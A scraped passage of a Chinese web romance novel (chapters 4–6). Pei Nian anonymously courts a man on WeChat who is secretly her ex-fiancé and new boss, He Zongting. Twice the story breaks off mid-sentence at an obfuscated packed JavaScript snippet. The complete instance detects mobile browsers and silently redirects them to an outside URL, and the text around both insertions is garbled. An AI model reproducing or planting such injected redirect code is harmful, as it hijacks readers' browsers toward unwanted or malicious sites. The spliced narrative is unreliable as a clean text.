再睁眼,眼前站着个穿着考究的中年男人,怀里抱着精致的奢侈品礼盒,见她看过来,礼貌道:“小姐,麻烦让一下。” 裴念余光看到车门,这才意识到自己挡了别人的路,赧着脸道歉,逃也似地离开。 老江拉开车门坐进去,再次朝后座的男人道谢:“贺总,真是谢谢您,我女儿收到这个一定很喜欢。” 他早上不过闲聊一句晚上要赶回去给小女儿过生日,下班贺宗霆就让他去楼下的奢侈品店取提前订好的生日礼物。 “喜欢就好。”贺宗霆从窗外收回视线,看了眼手机。 老江搓了搓手心,问:“贺总,您晚上要是没事要不要赏脸来吃个饭?” 昨晚妻子特意嘱咐他邀请贺总吃饭,为感谢这三年来的关照,为此他提前一个月订了昂贵的私房菜馆。 “不必。”贺宗霆眼皮没抬,眉心微微蹙起。 不知是因他越界的邀请,还是为手机上的内容。 “那就以后有机会…”老江干笑两声:“现在送您回家?” 贺宗霆终于放下手机,靠着头枕阖上眼:“回老宅。” 裴念满脸通红地站在人行道无人的角落,徒劳地点击刚刚发送出去的好友申请,无法撤销,她恨不能钻进手机里,把自己发疯打的字统统消杀毁灭。 【其实我也很会撒娇……】 她到底是以什么样的精神状态打出这句话的?? 黄晟大概会把她当成什么猥琐的人,直接拉黑处理。 唯一庆幸的是她并没有表明身份,还能麻痹自己当一切都没有发生。 裴念按着那行字右滑,直至右方出现红色的删除方块。 还没来得及去按,通知里嗡地蹦出一条消息提醒。 与此同时,街边的路灯一盏一盏相继亮起,暗淡的天幕瞬间被照亮。 同时也照亮了她眼前的屏幕。 【H通过了你的好友请求。】 4. 第 4 章 裴念手一抖,手机差点儿砸地上。 这就成功了? 黄昇原来喜欢这种大胆主动型的,裴念摩拳擦掌,点击对话框:【哇!终于加上你了!】 很快,H:【加我就为了说这个?】 当然不是。 裴念憋着一口气打字:【是为了追你】 消息咻的一声发出,她的心脏乱跳。 不同于她的紧张,H显然淡定得多:【怎么追?】 裴念谨遵顾免给她制定的计划:【普通追人没意思,你想不想玩点不一样的?】 H:【你想匿名追我】 裴念大惊失色,心脏突突跳到喉口,不明白黄晟是如何知晓她的秘密计划,不过稍稍转念一想,便明白了。 黄晟自学生时代就是备受女生追捧的类型,受欢迎的程度仅次于贺宗霆,自然是见惯了各种各样的追人套路,识破她的心思也情有可原。 裴念定定心神,回:【是不是很刺激?我们先在微信聊两个月,时机合适了再见面好吗?】 消息发出去,她不免觉得心虚,黄晟肯定看出来她知道他的身份,这种消息不对等的追人方式,怎么看都缺乏诚意,黄晟只要稍加思考就会发现不对,拒绝她是理所当然。 裴念点击对话框,琢磨着怎么循循善诱骗黄晟答应她,但打了几句话都感觉不对,只好删掉。 黄晟似乎看穿她的纠结,一直等到她停止打字,才开始输入。 一秒后,H:【随你】 裴念怔怔看着H的回复好一会儿,才红着耳朵直抒胸臆:【怎么办?我好像更喜欢你了(> 这次H没回。 葳蕤庭院洒着冷色的光,落地窗前摆着一方棋桌,桌上黑白棋子杀得正凶,一个身姿挺阔的男人坐于右侧,手执一枚黑子沉思,离近了看,才看出男人脸上的沟壑及两鬓的斑白。 贺宗霆在棋桌左侧坐下:“爷爷。” 贺霖江下巴朝他手边的棋盒一点,贺宗霆从其中捏了枚白子,祖孙俩沉默着下完了残局。 老爷子险胜,站起来时却拍桌:“我还没老糊涂到让你让棋!” 贺宗霆挑挑眉,没解释,叫宋妈上菜。 杯盘轻撞的声音接替了棋子落下的动静,贺霖江信奉食不言,并以此要求儿孙,一顿饭惯常吃得冷清。 饭吃完,贺霖江去后院人工湖喂鱼,贺宗霆陪着。 鱼食洒进湖内,红白相间的锦鲤蜂拥而至,贺霖江照例问了几句公司的事务,话锋一转,忽问:“和你爸最近有联系么?” “没。”贺宗霆:“他回来了?” 贺霖江把手中剩下的鱼食尽数洒完,冷哼一声沉着嗓子说:“娱闻的记者拍到他在柏誉夜会嫩模,贺家的脸都被他丢光了。” 贺宗霆面色不变:“知道了,我去处理。” 越大的集团越是禁不起舆论危机,站在京市峰顶的贺家人从小便知道这个道理。 贺宗霆驱车离开前,让助理去和娱闻协商,退出微信时,看到裴念几个小时前发来的消息,无声嗤了下。 贺宗霆理解不了她口中浅薄的喜欢,只觉得有些麻烦。 他同意裴念的追求不为别的,与其放任她横冲直撞闹出舆论,不如他先将火苗扼杀。 两个月太长,他会让裴念在一个月内对他失去兴趣。 / 几天后,裴念收到了跃维的offer,这对她来说无疑是天降惊喜,连带着去赴周芸约的时候心情都很好。 到云鹤楼之后,她被侍应生带着进了三楼的包间,周芸已经在包间内等着,一见她就从沙发上站了起来。 “怎么比视频里瘦了这么多?” 裴念在香港读书的时候,逢年过节借口学业忙几乎没回过京市,左右为难的周芸倒是没非让她回家,但视频电话是少不了的。 只是视频终究隔着屏幕,和看到真人不一样。 “没瘦啊,是镜头显胖。” 裴念看到周芸泛红的眼眶,心里也不是滋味,温声安慰着。 笃笃,服务生敲门上菜,打断了她们的话,裴念坐到周芸对面去,看桌子逐渐被餐点摆满。 像是约定好,她们都刻意没提过去,裴念边吃边和她聊在香港读书时的趣事。 周芸听得认真,不时追问几句,这让裴念恍惚间想起小时候,周芸接上完绘画班的她回家,就是这样耐心温柔地听她叽叽喳喳讲一路。 愣神的工夫,她的餐盘里多了个裹好的烤鸭,周芸嗔怪:“还是跟小时候一样,一说话饭都忘了吃。” 裴念咬了口烤鸭,含糊地说:“没忘,吃着呢。” 她的饭量不算大,加上周芸点的菜实在多,每个菜吃一点,胃里就满了。 裴念才放下筷子,周芸也没再动筷:“念念,你工作找的怎么样了?” “拿到了八家公司的offer。”裴念无意识地炫耀。 “这么厉害呀。”周芸笑了笑,却没有继续问她工作的意思,问起了别的:“其他方面有没有打算?” 裴念没反应过来:“什么方面?” 周芸牵起嘴角:“我们念念从小就受欢迎,有没有恋爱的打算啊?” 提到这个话题,裴念不可避免地想到黄晟,虽然已经加上了微信,但现在说恋爱为时尚早。 “我有喜欢的人…恋爱的话,可能过段时间会吧。” 如果黄晟愿意的话,裴念想着端起茶杯喝了口茶。 周芸没看出她的羞赧,微蹙了下眉心,试探道:“那个人是贺宗霆吗?” 旖旎心思消失,裴念怔了下,明白过来周芸提这个话题的意思:“您替裴锦问的?” “念念,你别怪小锦,这事不只关乎到你们小辈。” 察觉她误会,周芸语气稍急了些,她身体前倾,握住她的手:“你爸爸这一年都在争取贺家的投资,只有两家继续联姻裴家才能在京市稳固住地位,小锦看你爸爸焦急也想出份力。” 这些话裴念还在裴家的时候听过很多,当时并未觉得为了家庭牺牲自己联姻有什么不对,如今她脱离那个环境再看,竟然觉得裴锦有些可怜。 周芸见她没说话,语气哽咽了些:“念念,你知道爸妈这么多年走过来不容易…” 裴念暗暗吐气:“您放心,我没喜欢过贺宗霆,也没想过嫁到贺家。” 得到她的保证,周芸却没有放松,脸上反而增添了几分愧色。 她的关切和畏忌都坦坦荡荡,裴念被裹挟其中胸口发闷,勉强挤出一个笑:“我晚上还约了顾免。” “好,好。”周芸讪讪收回手:“等你空了再和妈妈说。” 结了账,她们沉默着去到停车场。 裴念以顾免来接为由婉拒了周芸送她的好意,离开前,周芸又想起什么,降下车窗,问她:“准备去哪个公司前跟妈妈说,妈妈提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴念若有所思地点头:“好有道理,我试试。” 说着,她便编辑了一条信息,经由顾免过目后,给H发了过去。 【特大喜讯!!我拿到了大厂offer!!】 为渲染气氛,裴念又在文字下面接连发了三张庆祝的表情包。 大概是被她接连的消息震到,H很快便回消息:【这么高兴?】 裴念:【当然,是很难进的大厂呢。】 怕H追问,她还补充道:【但现在还不能告诉你是哪家公司,等以后见面了再跟你说嘿嘿】 跃维顶楼办公室灯火通明,贺宗霆坐在偌大的办公桌后,移动光标,看助理发来的本季度入职名单。 视线触及到广告部某个名字后,光标略一停顿。 裴念现在确实不能告诉他,因为她马上就要入职他的公司。 嗡。又一条消息发了过来。 他不记得裴念以前有这么话唠,贺宗霆捏了捏眉心才拿起手机。 裴念:【我已经等不及想去上班了,希望能和同事老板相处融洽[合十][合十]】 她就这么迫切地想见到他? 不过话说回来,作为一个员工,她有这样的觉悟确实值得表扬。 贺宗霆:【[强][强]】 5. 第 5 章 nn:【温馨提示,今日有雨,出门一定记得带伞!!!】 贺宗霆在玄关换鞋的时候,收到了裴念的天气预报。 别墅隔音良好,遮阳帘合着,他并没有察觉到天气的变化,但裴念发了三个感叹号,想必雨势严峻。 他问:【下很大?】 nn发来一张照片。 贺宗霆点开,照片拍得仓促有些模糊,但仍能看出是一条手臂,牛仔蓝衬衫被雨水尽数打湿,袖口伸出一截白皙纤薄的手背。 他退出图片,看了眼时间,离公司打卡还有一段距离:【回家去拿伞】 nn:【好麻烦】 nn:【我家离地铁口很近,跑快点五分钟就能到。】 贺宗霆不赞同这种随便的行为,正欲反驳,裴念的信息又跳了出来:【你是在关心我吗?[眨眼][眨眼]我好开心】 额角跳了跳,他清空输入框,收起手机,没再多看一眼。 / 正式上班第一天,裴念比平常早起半个钟头,收拾了一番才出门,却忘记看天气预报,步行半路下起急雨,再返回家里实在麻烦,给黄晟发去提示微信后,她一路狂奔到地铁站。 好在下地铁时,雨已经停下,半湿的衬衫头发也被车厢的冷气吹干,因此她到公司时没有太狼狈。 之前办理入职的时候,裴念就和同事简单认识过,到自己工位,坐她隔壁的两个组员正站着说悄悄话,体型微胖留着寸头的那个叫韩扬,见到她就热情地招手。 八卦是最快融入集体的方式,裴念放下包就凑过去:“你们在聊什么?” “我记得你上次介绍自己是本地人?”同为女生的张芮之很是自来熟,直接挽住了她的胳膊。 裴念点头。 韩扬:“那你应该听说过咱们贺总的来头吧?” “……” 打定主意和贺宗霆撇清关系的裴念摇头。 “可以理解。”张芮之神神秘秘道:“那可是贺家,普通人没听说过也正常。” 韩扬小声道:“你只要知道贺总家世显赫,只要他想,咱们公司永远不会倒闭就行了。” 裴念虔诚点头,表示感谢。 陆续有员工进入办公室,韩扬看了眼手机上的时间,提起桌上的餐盒问:“你俩吃过早饭没,一起去餐厅啊?” 裴念:“我在家吃过了。” 张芮之摆手:“我也吃了,你自己去吧。” 裴念不理解:“你不是带饭了吗?为什么还要去餐厅?” 韩扬拍了下脑门儿:“这事忘了告诉你了,”他顿了顿:“咱们贺总不喜欢有人在办公室吃东西,说容易滋生细菌。” 张芮之补充:“之前有人午休在办公室吃螺蛳粉,被罚打扫办公室一周。” “………” 不愧是事儿精。 裴念假笑了下:“贺总还真是讲究。” 组长杨泽来了之后,给裴念介绍了组内负责的策划案和公司即将推出的新型车,剩下的时间都让她自行熟悉公司产品。 午休时,裴念和张芮之他们去附近的餐厅吃完饭,假借遛弯去了趟进口超市,她准备买些小零食分给同事。 时间充裕,她推着推车流连玲琅满目的货架,顺手掏出手机,准备和黄昇聊会儿天。 早上她发完那条信息之后,H便没有再回。 和H聊天近两周,裴念已经摸透他的性格。 日常对话他基本都会回应,可一旦她言辞带了暧昧的意思,对话框上方会先显示他正在输入中,几秒后便会陷入沉寂。 这样的H,有种古板的羞涩感,让她格外上头。 裴念指尖点点对话框,问:【如果你是我的新同事,会希望收到什么小零食?】 她还没把几个选项发过去,H的信息就回了过来:【我不吃零食】 裴念回想上次见到黄晟的场景,身姿挺拔而流畅,心道怪不得身材那么好。 她没话找话:【如果非要吃呢,软糖、曲奇饼干、巧克力,你会选哪个?】 H:【巧克力】 裴念从货架上拿下两盒精装巧克力:【为什么是巧克力啊?】 H:【不甜】 裴念把推车内甜度很高的白巧放回了货架,又拿了两盒偏苦的黑巧,拍照发给H:【好巧啊,我也喜欢吃不甜的巧克力,看来我们口味很相配[爱心][爱心]】 H果然又不回了。 仗着隔网线,裴念大胆聊骚:【不回我是因为害羞吗?】 H:【没有】 裴念:【那以后我发什么你都回我好不好,不然我就当你是害羞了哦~】 输入框显示对方正在输入中,裴念盯着数了两秒,不出所料,H又熄火了。 裴念哼哼笑两声,翻出表情包发了过去:【猴子脸红jpg。】 H这次回了:【你很无聊。】 / 裴念谨遵同事说的不能在办公室吃东西的叮嘱,一直到快下班才将巧克力拿了出来,在茶水间进行分发。 茶水间休息的人不止他们组的同事,好在裴念中午多拿了两盒巧克力,给大家分完,自己手里还剩一颗。 大概是上次被罚打扫卫生的同事起到了震慑作用,大家拿到巧克力都没急着打开,而是拿在手里等着下班后吃。 茶水间左侧方的电梯到站,以为是同事出入,大家都没在意继续说话,正对着缓缓打开的电梯门的韩扬忽然止住了话头。 其他人察觉不对纷纷回头,看到总监跟在贺宗身后出来。 现在再匆匆离开就显得刻意了,众人只得边装忙边打招呼。 贺宗霆同往常一样微微颔首,脚步却不似往常迅速,而是莫名慢了下来,视线停留在茶水间某个方向。 总监顺着他的目光看过去,就见新入职的裴念手中正拿着颗包装精致的巧克力,脸色瞬间变了。 裴念自然感觉到了贺宗霆的目光,心中一凛,暗道倒霉,亡羊补牢地将那颗巧克力塞进了口袋,局促地看向总监。 总监抹了把额头,干巴巴道:“他们平时就是在办公室分一下,没在这儿吃过…” 贺宗霆收回视线,淡淡“嗯”了一声,抬脚离开。 后面一连串的解释没了用武之地,总监愣了一下,追了上去。 高高提起的心又轻轻放下,大家不免都有些莫名,韩扬喝着水发出疑问:“贺总今天居然没批评我们。” 张芮之耸耸肩:“贺总哪有那么凶,再说贺总也看到了,我们确实没吃啊。” 心有余悸的裴念陷入沉思:“那他为什么要停下来看呢?” 张芮之开玩笑道:“总不会是想吃吧。” 裴念想起以前和贺家聚餐,贺宗霆只吃优质食材,吃饱后就不会再动筷,仿佛吃东西对他来说只是为了维持生命体征。 想到这儿,她没过脑子脱口而出:“他不吃这些。” 张芮之偏头看她:“你怎么知道?” 裴念意识到说错话,苍白地解释道:“…贺总看起来就不爱吃零食。” “那确实。”张芮之抿嘴:“我怀疑贺总从生下来吃的都是有机食品。” 裴念轻吐一口气:“很有可能。” 下班后,裴念和韩扬、张芮之一道下楼,电梯还没到站,两人就顺手将巧克力拨开扔进了嘴里,可可脂的醇香瞬间充斥味蕾,将一天的疲惫横扫。 酷爱零食的张芮之赞不绝口。 韩扬还问裴念要了巧克力的品牌,说是要买给女朋友吃。 裴念借机骚扰H:【你真有眼光,同事都夸我买的巧克力很好吃。】 黄昇这会儿大概在忙,等她上了地铁才回过来消息。 H:【我没吃过】 裴念琢磨了一会儿,才明白过来他的意思,肯定是既想吃她送的巧克力,又不好意思直接开口。 善解人意如她,立刻向H保证:【等以后见了面,我给你买很多。】 或许是因为被她戳穿心思,H不好意思了,只给她回了一个意味不明的:【。】 贺宗霆看着手机屏幕,为裴念的言行不一感到困惑。 她既然提出匿名聊天,为何又向他暴露这么多身份信息。 他上划信息,打开裴念中午发来的照片确认,购物车里的巧克力和她在茶水间拿的是同一款。 裴念应该想到,但凡他不是傻子,凭这张照片,必定能猜到她的身份。 贺宗霆指尖在办公桌上点了点。 那就只剩下一种可能。 裴念是故意让他猜出来,目的是让他来主动说出这段关系,好让事情无法收场。 贺宗霆一时间说不清是什么感觉,从小到大追他的人不少,可没人像裴念这么难缠。 而他不知道为什么,面对裴念一而再再而三的越界信息,竟然说不出一句重话。 手边还摆着一沓文件要签,贺宗霆难得心烦地撂下手机,心想既然裴念想让他主动,那他就按兵不动,假装什么都不知道,冷她一段时间。 / 跃维的研发基地就在京郊,公司今年要发布新车型,为此安排策划小组去基地进行为期一周的参观学习。 杨泽负责的策划三组被抽中,韩杨正在跟的项目本周有活动,他便安排裴念和张芮之一同前去。 基地位置偏,去学习的员工不得不早晚多挤出来一小时通勤,好在公司大方给了高额的补贴,因此大家不仅没有怨言,还乐得出这趟差。 裴念也挺高兴,她初来公司,本就对业务不熟悉,这次学习无疑是一个成长的好机会。 去学习的员工大多都是第一次去基地,周一一早,总监组织大家在公司集合,由司机带队送一趟,权当认认路。 裴念和张芮之约好在公司附近吃完早饭,然后去公司楼下找杨泽汇合。 她们到的时候,公司门前已经停了一排价值不菲的SUV,裴念以前见惯了这样的场景,因此并未觉得惊讶,只是从停在前方的一辆库里南路过时,余光扫到车牌,恍惚间觉得在哪见过。 还没找到头绪,车前走来一个面熟的中年男人,正好和她打了个照面。 裴念这才想起之前来面试,她曾因接周芸的电话挡过他的路。 男人显然也认出了她,朝她笑了一下才拉开车门坐进去。 裴念不好意思地回笑,朝后走时,视线自然而然掠过后车厢,和一道金棕色的眼睛对上视线。 是贺宗霆,原来这辆库里南是他的车。 她无意识顿了下脚,脸上的笑容还未来得及收回,讷讷朝没什么表情的贺宗霆点了点头,不等他有反应,便大步朝后方停着的SUV走去。 张芮之也看到了贺宗霆,一上车就问杨泽:“组长,贺总这次也去吗?” 坐在副驾驶的杨泽转身道:“毕竟是刚接手跃维,贺总什么都是亲自上阵。” 张芮之复杂地朝前窗张望:“虽然我也想天天看到贺总这样的顶级帅哥,但和老板一起工作压力是真大啊。” 杨泽笑骂:“少瞎想有的没的,这次去基地好好学习。” 张芮之立刻摆正姿态:“收到。” 杨泽侧目看向裴念:“小裴晕不晕车?晕的话跟我换位置。” 裴念摇头:“谢谢组长,我没事。” 杨泽虽说是组长,但也只比她们大一岁,因此组员平时和他相处起来没什么边界,张芮之故意开起玩笑:“组长你这是区别对待,怎么不问我晕不晕…” “少来。”杨泽打断她:“之前出差没见你有这毛病。” 张芮之嘿嘿笑了几声,说起了别的事。 去基地的路上途径度假景区,连绵的青山与碧绿的湖水接壤,是社畜难以拒绝的美景,几乎每辆车内都响起卡嚓卡嚓的拍照声。 裴念也拍了几张,发给顾免之后,指尖不小心点到了和H的对话框。 最近的一次聊天是两天前,她发的一条娱乐新闻,H没有回她任何评论,哪怕是一个句号。 犹豫了两秒,她没有将照片发过去。 裴念不知道为什么,H最近对她很冷淡,发出去的消息很少得到回答,她渐渐就失去了开启话题的勇气。 即便她早就做好了失败的准备,可还是不可避免地感到失落。 听到司机在讲附近度假区发生过的离奇诡事,虽然觉得有些害怕,她还是收起手机,逼自己加入到聊天当中,好分散集中在H身上的注意力。 司机正聊到半夜在路边招手拦车的长发女鬼,开在前面的库里南却忽然停了下来,他连忙踩下刹车,下车去查看情况。 原来是因为前些天频繁下雨造成柏油路塌陷,库里南的前右侧车轮陷入泥沙坑,怎么也开不出来。 贺宗霆和助理下车查看情况,后面车上的人不好在车内干等着,纷纷下车去到事故前方。 轮胎沉陷程度不算严重,叫救援车来太耽误工夫,经大家商量后决定合力将车推出泥沙坑。 塌陷的位置有尖锐的砂石凸起,怕蛮力推撞再对车造成损伤,裴念自告奋勇到车左侧查看底盘状况。 她太专注看车的情况,并未察觉到左侧车旁已经站了一个人,更没注意到左侧车道的行车情况。 就在她拿出手机,准备蹲下拍照时,后衣领忽然被一股大力揪住,在她还未来得及做出反应,整个人就被掼在了车上。 砰的一声闷响后,道路左侧响起刺耳的喇叭声,一辆货车呼啸驶过,驾驶位一闪而过司机因恐惧而涨红的脸,显然是刚惊醒的状态。 周遭恢复平静,裴念才意识到发生了什么,同时也看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275951|198240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清了刚刚将她从死亡边缘拽回来的人是谁。 贺宗霆铁青着脸松开手,裴念险些跌倒在地,刚扶住车身站稳,就听他压抑着暴怒的嗓音在上方响起:“你不看路的?!” 裴念顾不上身上的疼痛,攥紧手道歉:“对不起,我刚刚没注意到。” 她还没缓过神,嗓音不自觉哽咽。 众人第一次见贺宗霆发这么大火,一时间没人敢上前劝说。 贺宗霆低眸看了她几秒钟,深吸一口气,指了指站在车旁的几个身材壮硕的男性:“你们几个留下,剩下的人都回车上去。” 张芮之忙上前拉着裴念回了车内,推车的人手足够,杨泽很快也回到车上,阖上车门,他关切地问裴念:“怎么样?你没受伤吧?” “没有。”到这时,裴念紧绷的精神才松懈下来,低声解释道:“我过去的时候没看到对面有车。” “不是你的错,那货车超速了。”杨泽递给她一瓶水,安慰道:“你别怪贺总发火,前不久跃维才发生过这样的事。” 张芮之显然有所耳闻:“是林总那个事?” 杨泽点头:“林总之前带队去国外参加峰会,其中一个司机因躲闯红灯的孩子导致撞护栏身亡,林总当时封锁消息想把责任怪在司机自己头上,后来司机家人闹到贺家,贺总知道后出面给了赔偿金,以经营问题把林总踢出了跃维。” 张芮之代入打工人,气得直拍坐椅:“贺总做得对!这种罔顾人命的人不配当老板!” 前车窗外,贺宗霆正带头推车,为了方便行动,他将衬衫整齐地挽到了手肘,修长精壮的手臂因用力而浮起青筋。 裴念收回目光,对杨泽笑了下:“我没怪贺总,就是吓到了。” 杨泽安慰道:“下次注意,我之后找机会替你给贺总道个谢。” 裴念由衷感谢:“那就麻烦组长了。” 话说完,库里南已经脱困,裴念视线不自觉再次滑到贺宗霆身上。 他正臭着脸接过助理递来的毛巾,仔细擦拭手臂上溅上的泥沙。 裴念忽然觉得,他好像也没那么可怕。 / 接下来的两日,各小组在研发人员的带领下参观学习,周中时,策划三组定下由裴念来进行最后的汇报,因此她多了很多工作,下班自然就晚了些。 这天临近下班,裴念还在整理资料,办公室的人陆陆续续离开,不知不觉就剩她和一组负责汇报的陈窈。 陈窈和她是同批入职的新人,互相打过照面,算不上熟,因此当陈窈来问她能不能帮忙打印一下资料时,她有些意外。 陈窈问出问题后,不等她回答,捂着小腹央求道:“拜托啦,我今天生理期,身体实在难受。” 谁都有身体不适的情况,裴念不再犹豫,点头应下:“拿给我吧。” “太谢谢你啦,改天请你喝咖啡。” “不用,顺手的事。”裴念记下打印张数后,抱着资料去了打印室。 郊外不受霓虹污染,天黑得很快,她打印到最后一叠资料时,窗外的天色已经彻底黑透,更糟糕的是,她错过了最后一班公交车。 裴念一边操作打印机,一边拿出手机打车,可惜基地位置太偏,时间也过晚,一直没有司机接单。 杨泽之前说过如果工作到太晚,可以联系他申请临时宿舍,但她实在放心不下大壮自己在家,只得焦虑地穿梭在各个打车软件里。 当所有打车软件都没能召唤到司机后,她开始犹豫要不要步行去地铁站。 其实基地离最近的地铁口仅有1.5公里,这点距离放在市区她会毫不犹豫选择步行。 可这里是京郊。 是到处漆黑,传说路边有长发女鬼招手拦车的京郊。 打印机很应景地嗡嗡低鸣,给窗外夜色增添很多阴森的色彩。 在这样恶劣的环境里,裴念允许自己放纵一次,她打开和H的对话框,发了他们这周第一条信息。 【你说我和京郊的女鬼搏斗,胜算有多大?】 / 贺宗霆才关上车门,手机就响了。 看完消息,他下意识朝楼上扫了眼。 临时开辟给策划部的办公室果然还亮着灯,他回忆了下,不记得自己有下达过超出正常工作时间的工作量。 他装作一无所知地回:【你现在在京郊?】 nn:【来这边工作,不小心错过公交车了。】 贺宗霆还没想好怎么回,话痨的信息就又发了过来:【我现在准备跑去地铁站,希望女鬼追不上我…】 他捏了下眉心:【找人带你去】 nn:【没有人,同事都已经走了[流泪]】 大门处出现一个人影,是上楼拿合同的助理,贺宗霆朝他招了招手,回:【去别的部门找】 助理在车窗前躬身,把合同递了进来,贺宗霆伸手接过,平声吩咐了句什么。 助理听完明显愣了下,而后谨慎地垂眼:“好的,我这就上去看一下。” 裴念看着H发来的消息,焦灼不安的情绪忽然稳定下来。 H说的对,他们部门虽然已经没人,但研发部门说不定还有要回市区的人。 她快速收拾完包,到办公室门口准备关灯时,真就看到一个人出现在走廊,她连忙出声叫住他。 那人听到动静没有犹豫就朝她走了过来,离得近了,裴念看清,来人是贺宗霆的助理高理。 不等裴念说话,高理直接问:“你是策划部的?怎么这么晚了还没走?” 裴念连忙上前和他说明情况,高理听完理解地点点头:“贺总也才下班,你跟我们一起走吧。” 听完这话,她瞬时愣住。 脑海里天人交战,忍不住琢磨女鬼和前未婚夫到底哪个更难相处。 高理没有给她犹豫的时间,径直转身下了楼。 裴念只好忐忑跟上。 忙了一整天,再一口气下三层楼,到车旁时,她心脏扑通直跳,额头都热出了汗。 黑色库里南亮着灯,车窗半降,冷气丝丝朝外飘散。 后车厢坐着的男人察觉到动静,目光从手中的合同上移开,越过车厢朝她看过来。 那双金棕色的眸子带着探究意味落在她脸上,裴念心头无端起鼓,无措怔在原地,想着现在反悔去找女鬼还来不来得及。 贺宗霆沉默打量着窗外的人,车灯将她窄小的脸照得分明,双颊上的红晕,瞳眸中的亮光都清晰可见。 他甚至可以捕捉到她纤长睫毛抖动的频率。 裴念看起来真的很期待和他待在一起。 贺宗霆没被人这么热烈汹涌地看过,因此不知道该做出什么样的反应,只得依照惯性告诉自己,这很麻烦。 但他还是耐着性子说了句:“走了。” 6. 第 6 章 听出他语气中的不耐烦,裴念没再干愣着,上前去拉库里南的车门,指尖还未碰到门把手,高理却面露尴尬地拦了她一下。 “裴小姐,还是我送你回去吧。” 裴念立刻意识到自己会错了意,以她和贺宗霆之间的交情,他断然不会专程送她回家,也就是高理碰巧撞见她,好心帮个忙罢了。 不用和前未婚夫共处一车,裴念倍感轻松,她冲贺宗霆点了点头,上了高理的车。 贺宗霆等高理开出一段距离,才让司机发动引擎。 车子才开出不足一分钟,手机果然响了。 nn:【我坐上的车了!】 nn:【感谢晚走又好心的同事载我。】 nn:【今晚要不是你提醒我,我估计就回不了家了。】 车厢内很是安静,后车厢手机震动的铃声就格外响,老江趁着转弯的时机瞄了眼后视镜,贺总正拿着手机沉思,眉眼之间带着些许凝重。 看来是有什么棘手的工作。 老江默默将车内音乐关闭,给贺总一个安静办公的环境。 聊天框上方还在显示‘对方正在输入中’,贺宗霆有种他不回消息,裴念就会一直这么发下去的感觉。 为了之后的宁静,他现在只能回。 裴念上车和高理说过地址后,就专注抱着手机给H聊天,H今晚好不容易热情些,她想趁热打铁和他多聊一会儿。 接连发去三条消息,聊天框上方终于蹦出“对方正在输入中”的字样。 裴念盯着屏幕等。 嗡。 H:【下次别让我提醒】 裴念:“……” 是她的错觉吗,黄晟线上说话的方式真的不太招人喜欢呢,行为上帮她,嘴上却不饶人。 分析片刻,裴念猜他大概是被高强度的工作摧残到失去了说话的热情,她很是理解,关心地问道:【你这会儿还在忙吗?】 贺宗霆:【嗯】 他放下签完的合同:【还有事?】 依照裴念过往的黏人劲儿,贺宗霆发完消息后并没有退出聊天界面,等着她再发些暧昧不明的话,这次他一定要义正严辞拒绝。 过了会儿。 nn:【没事呀,就是想告诉你注意身体,忙完早点休息。】 点在键盘的指尖顿了下,贺宗霆干脆地锁上屏幕,头枕在靠枕阖眼休息。 算了。 伸手不打笑脸人。 就再纵容她一次。 / 翌日清晨,裴念赖了会儿床,来不及在家吃早餐,赶去基地和张芮之一起去餐厅吃。 同样在餐厅吃饭的还有其他组的几个成员,大家干脆凑成一桌,边吃边聊。 在裴念对面坐着的是一组的赵童,听她说起加班的事,脸色忽然变了变:“你昨晚在办公室看到陈窈了吗?” 裴念咽下牛奶点头:“她让我帮忙打印资料,她生理期不舒服就先走了。” 赵童听完脸色更复杂了,她拿出手机翻出陈窈的朋友圈递给她看:“她可能是在骗你。” 裴念愣了下,点开陈窈昨晚新发的朋友圈,是她在夜间玩的九宫格,照片中的陈窈笑得肆意张扬,看不出昨晚求她帮忙的不适。 坐着的众人听到他俩的话都明白发生了什么,皆露出了一言难尽的表情。不知道谁先开了头,大家你一眼我一语说起了陈窈的八卦。 原来这种事陈窈不是第一次做,一组和其他组的几个组员都被她以各种理由占过便宜。 张芮之听完直皱眉:“就没人管管她吗?” 赵童四处看了看,小声道:“谁敢啊,据说这位和贺家有亲戚关系,我们组长都敬她三分。” 话音一落,桌前陷入了短暂的沉默。 赵童无意破坏气氛,拍了下裴念的手臂:“你别放在心上,我说这个就是给你提个醒,再看到她小心些。” 张芮之刚毕业没多久,对权势带着天然的畏惧,嘟囔着说:“就是,惹不起我们还躲不起嘛。” 裴念在豪门长大,见惯了跋扈的二世祖,以前她就不爱搭理这种人,现在更是得躲着。 她冲赵童笑了笑:“谢谢,我下次注意。” 有些时候,越想躲着什么越来什么。 午休时,有人提议喝咖啡,张芮之之前在微博抽到一张大额优惠券,点单的任务就交了给她。 跃维需要刷员工卡才能进入,快递员到了之后,裴念陪着张芮之一道下楼拿咖啡,再拎去休息区给大家分发。 张芮之平日里比较节俭,大家都看得出来,基本上都先给她转过钱才拿走自己的那杯,很快两大提咖啡被拿得七七八八。 陈窈是最后来的,她自然地拿起杯托内最后一杯咖啡,先是打开喝了一口,冲张芮之举杯笑了笑:“谢谢啦,甜度正好。” 态度很热情,却没有付钱的意思。 休息室的众人都似有若无看向她,陈窈却像是没感觉,拿着咖啡转身离开。 张芮之看着她的背影张了张口,没能说出什么。 其他人也都面色各异,他们替张芮之觉得憋屈不假,但没人想为了一杯咖啡得罪关系户。 张芮之拿起小票看了眼价格,负起地扔进了垃圾桶,小票太轻,没能投进去,掉在了裴念脚边。 裴念犹豫了一秒,弯腰地上捡了起来,叫住了即将走出休息室的陈窈。 陈窈转身,不解地睁大眼:“怎么啦?” 裴念看着她的眼睛笑了下,温声问:“你是不是忘给张芮之转钱了?” 